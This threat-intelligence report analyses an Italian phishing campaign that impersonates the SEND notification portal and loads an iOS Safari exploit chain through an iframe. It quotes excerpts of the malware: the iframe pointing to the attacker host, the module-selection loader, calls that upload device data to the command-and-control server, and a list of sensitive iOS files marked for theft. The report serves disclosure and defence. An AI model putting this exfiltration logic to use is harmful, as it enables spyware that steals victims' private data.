An Italian Phishing Campaign Delivering an iOS Exploit Chain

D3Lab identified a fraudulent page using the name and visual identity of SEND, the Digital Notification Service operated by pagoPA, to persuade users to interact with a website outside the official infrastructure. SEND is the platform through which Italian public administrations can serve official notices to citizens and businesses. The prospect of receiving a legally valid communication makes this theme particularly credible and effective at creating a sense of urgency.

What makes this campaign distinctive, however, is not merely the reproduction of the portal. While the victim is viewing the phishing page, the site can load a second resource hosted on a separate server inside an iframe. This resource selects and runs an exploit chain against Safari/WebKit, with modules designed for different iOS versions. The potential objective is therefore not limited to the information voluntarily entered into the page: the code also attempts to identify the device, bypass browser protections and establish a channel for control and data collection.

In simple terms, the victim believes they have opened a public administration notice. Behind that page, however, an attempt to compromise the iPhone can be launched without any additional visible download. The exploit does not appear to target current iOS releases: the recovered loader declares support up to iOS 17.2.1. An up-to-date device should therefore fall outside the scope declared by the kit, whereas a device still running a vulnerable version represents a more attractive target.

Based on D3Lab’s observations in the Italian threat landscape, this is the first time we have documented an iOS chain of this kind embedded in a conventional phishing campaign targeting Italy.

From the phishing page to the exploit

The first layer of the website presents a fake anti-bot check. The code performs no genuine verification: when the user clicks, it simply adds a parameter to the URL and reloads the page. This elementary barrier can hinder crawlers and automated systems that do not interact with the interface.

function go() {
    const url = new URL(window.location.href);
    url.searchParams.set('__eat', EAT_TOKEN);
    window.location.replace(url.toString());
}

Once the fake CAPTCHA has been passed, a single-page application impersonating the SEND portal is loaded. The frontend integrates Socket.IO and cryptographic primitives, allowing application messages to be exchanged in real time without being immediately readable by inspecting the HTML source alone. This architecture is consistent with an interactively operated phishing kit, in which an operator can monitor the session and determine its next stage.

The bundles also contain models and validation logic for personal details, addresses, telephone numbers, email addresses, payment cards and verification codes. Because the flow can be controlled dynamically over the Socket.IO channel, not all these requests necessarily appear to every visitor. The frontend therefore appears designed both to steal information voluntarily entered by the victim and to adapt the fraud in real time.

The most significant element is the insertion of an iframe that transfers execution to the iOS exploitation infrastructure.

<iframe
  src="hxxp://186[.]244[.]241[.]174/ch/1?ch=1&tpl=default-exploit">
</iframe>

The iframe allows the phishing lure to remain visible while content from a different host performs device fingerprinting and exploit selection. The victim does not need to deliberately install an application or open an attachment: the browser itself becomes the entry point.

A three-stage chain

The document loaded by the iframe contains a modular loader. Before proceeding, the code identifies the platform and operating-system version, checks several properties of the environment and selects the appropriate module. The flow is organised into three stages.

The first stage targets WebKit, the browser engine used by Safari, and attempts to construct memory read-and-write primitives through JavaScript and WebAssembly. The names of the recovered modules explicitly identify the ranges expected by the kit:

if (offsets.JtEUci) {
    stage1Module = await getModule("Stage1_16.6_17.2.1_cassowary");
} else if (offsets.KeCRDQ) {
    stage1Module = await getModule("Stage1_16.2_16.5.1_terrorbird");
} else if (offsets.ShQCsB) {
    stage1Module = await getModule("Stage1_15.6_16.1.2_bluebird");
} else if (offsets.RbKS6p) {
    stage1Module = await getModule("Stage1_15.2_15.5_jacurutu");
}

As a whole, the loader accepts versions from iOS 13 through iOS 17.2.1. The explicitly named branches in the sample cover iOS 15.2–17.2.1; earlier generations use a hash-labelled path that can be linked, in the public codebase, to the Stage1_13.0_15.1.1_buffout variant. The presence of a compatible module does not guarantee success on every model: the WebKit build, device architecture and stability of the subsequent stages can all affect the outcome.

The second stage handles devices equipped with Pointer Authentication Code, or PAC. PAC is a hardware and software protection that makes it more difficult to reuse modified pointers to redirect execution flow. The kit includes variants named breezy and seedbell, selected according to the iOS version, with the objective of obtaining more powerful primitives and progressing beyond the initial WebKit compromise.

The third stage attempts to escape the Safari sandbox and execute the next payload. The sandbox is intended to prevent a web page from freely reading files and data belonging to the system or other applications. Escaping it is therefore the step that can turn a crash or browser-confined code execution into a potentially much more serious compromise.

The loader terminates the chain on versions later than iOS 17.2.1 and contains specific checks for simulators and Lockdown Mode. We also identified Stage 1 retry mechanisms, crash counters and alternative paths for devices on which native primitives prove unstable. These elements show an effort to make a complex chain operational, but they also reveal several reliability problems.

How large is the potentially addressable population?

Public adoption data does not provide a precise count of exploitable iPhones. Apple reported that, as of 7 June 2026, 79% of all iPhones that transacted on the App Store were running iOS 26, but it does not publish a patch-level breakdown for older releases.
As a more granular proxy, D3Lab aggregated StatCounter’s July 2026 telemetry: versions falling within the loader’s declared iOS 13–17.2.1 range accounted for approximately 4.1% of observed iOS web traffic in Italy and 5.6% worldwide.

StatCounter measures page views rather than unique installations, its version labels do not always distinguish individual patch releases, and successful exploitation also depends on the device model, WebKit build and reliability of the subsequent stages.
Nevertheless, the data suggests that the potential target population is now a minority of the iPhone ecosystem, but remains far from negligible.

What the threat actor attempts to collect

The post-exploitation code operates at two levels. The first relies exclusively on browser APIs and collects the user agent, iOS version, language, time zone, screen dimensions, network and battery information, hardware properties exposed by the browser, cookie contents and data stored in localStorage and sessionStorage. This information is associated with a device identifier and sent to the C2 through the /api/device-data and /upload endpoints.

postJSON('/api/device-data', {
    device_uuid: info.uuid,
    ios_version: info.iosVersion,
    exploit_status: 'success',
    system_info: info
});

postJSON('/upload', {
    device_uuid: info.uuid,
    filename: 'device_report_' + Date.now() + '.json',
    data: b64encode(JSON.stringify(info))
});

The second level is activated only if the chain succeeds in exposing native primitives considered sufficiently stable. The analysed sample contains an explicit list of valuable iOS databases and files:

var EXFIL_TARGETS = [
  '/private/var/mobile/Library/SMS/sms.db',
  '/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb',
  '/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata',
  '/private/var/mobile/Library/Safari/History.db',
  '/private/var/Keychains/keychain-2.db',
  '/private/var/mobile/Library/Preferences/com.apple.wifi.plist',
  '/private/var/mobile/Media/PhotoData/Photos.sqlite',
  '/private/var/mobile/Library/HealthStore/healthdb.sqlite'
];

The full list includes SMS messages, contacts, call history, notes, calendars, reminders, Safari history and bookmarks, voicemail, location history, the photo database, health data and the Keychain. There are also paths and procedures dedicated to WhatsApp and numerous wallet and messaging applications. The C2 provides a command-polling channel, and the client also supports eval_js, allowing it to execute JavaScript received from the operator.

This list clearly describes the operator’s intent, not a verified outcome. Comments in the same payload report crashes affecting native primitives on some configurations and the use of a fallback limited to browser-based collection. The kit therefore appears to be under active development and, at least in the recovered version, is not equally reliable across all device and operating-system combinations.

The operational infrastructure

At the time of the analysis, 186[.]244[.]241[.]174 was announced by AS400619, AROSSCLOUD INC., with commercial geolocation in Los Angeles and classified as hosting infrastructure.

Ports 80 and 443 exposed Nginx and the exploit-loading page. Port 7080 hosted a Node.js/Express application titled “WhatsApp 关联 — Coruna-Pro-V2”, which allowed an operator to request a pairing code and link a WhatsApp account to the service. Port 21789 exposed another HTTPS service identified as an Ajenti control panel.

The same host served a command-and-control system and a FastAPI API. The frontend assets reveal functions for devices, exfiltrated data, wallets, contacts, SMS messages, calls, photographs, logs, commands, agents, channels and templates. The observed telemetry APIs also accepted reports from clients without first authenticating the reporting device. Together, these elements outline a centralised platform for delivery, monitoring and management of reached devices.

An operational identity: @ojishu

Among the C2 panel assets served by the analysed infrastructure, we found a direct link to the Telegram profile @ojishu. The same interface uses the branding 律科技 and displays the Chinese label 作者@ojishu, which translates as “author: @ojishu”. At the time of observation, the Telegram account used the display name 律.

The reference is embedded directly in the frontend delivered by the live C2 rather than inferred solely from the Telegram profile. The relevant strings are shown below in a simplified, normalised form:

<h2>律科技</h2>
<p>作者@ojishu</p>

<script>
const telegramContact = "https://t[.]me/ojishu";
</script>

The title exposed through the server’s OpenAPI documentation, 律科技控制台 API, uses the same branding and can be translated approximately as “Lü Technology Console API”. Together, these elements establish a direct association between the handle and the control panel used in the operation.

They do not, however, identify the person controlling the account. Telegram names, profile pictures and language choices can be changed or deliberately constructed. They therefore provide no reliable evidence of the operator’s nationality and are not sufficient to attribute the campaign to a known threat group.

The connection to Coruna Pro V2

The module names, three-stage organisation, loader structure and associated administration panel link the sample to Coruna Pro V2, a codebase circulated publicly as a research toolkit and subsequently expanded with a management backend. The service exposed on port 7080 explicitly uses the name Coruna-Pro-V2.

The comparison with a public fork goes beyond similar naming. Seven Stage 1 and Stage 2 modules recovered from the server are byte-for-byte identical, based on their SHA-256 hashes, to files in the analysed repository. Other components — group.html, platform_module.js, the Stage 3 modules and post_exploit.js — differ and contain operational modifications, additional telemetry, crash handling, remote command functionality and new collection procedures.

The evidence therefore supports the use of an operationalised variant of the same codebase. It does not establish whether the operator developed the modifications, purchased them or received the package from a third party. The extensive use of Chinese in comments, the interface and the associated Telegram profile is contextual information, not attribution evidence. At present, we do not have sufficient indicators to link the campaign to a known group with confidence.

Why this campaign matters

Phishing is often regarded as a threat limited to stealing information typed into a form. This campaign demonstrates a different evolution: the Italian-language lure is also used to deliver a pre-existing exploit chain to the device, while the iframe keeps the domain used for the fraud separate from the host delivering the iOS modules.

The most important aspect is not merely the presence of a SEND clone, but the transformation of an ordinary web visit into an attempted browser compromise. A victim using an up-to-date iPhone significantly reduces the risk posed by the observed chain; a victim running an outdated version may instead be exposed without having to install an application manually. The primary recommendations are therefore to keep iOS updated, enable Lockdown Mode when warranted by the user’s risk profile, and access notifications only through official channels and domains.

The official citizen portal is https://cittadini.notifichedigitali.it and requires authentication with a digital identity. The appearance of names such as SEND or pagoPA on a page does not make the hosting domain legitimate.

Indicators of Compromise (IoC)

Indicators are provided in defanged form. They should be contextualised against the observation date and should not be used in isolation to make attribution assessments.

Infrastructure

SHA-256 hashes of key artefacts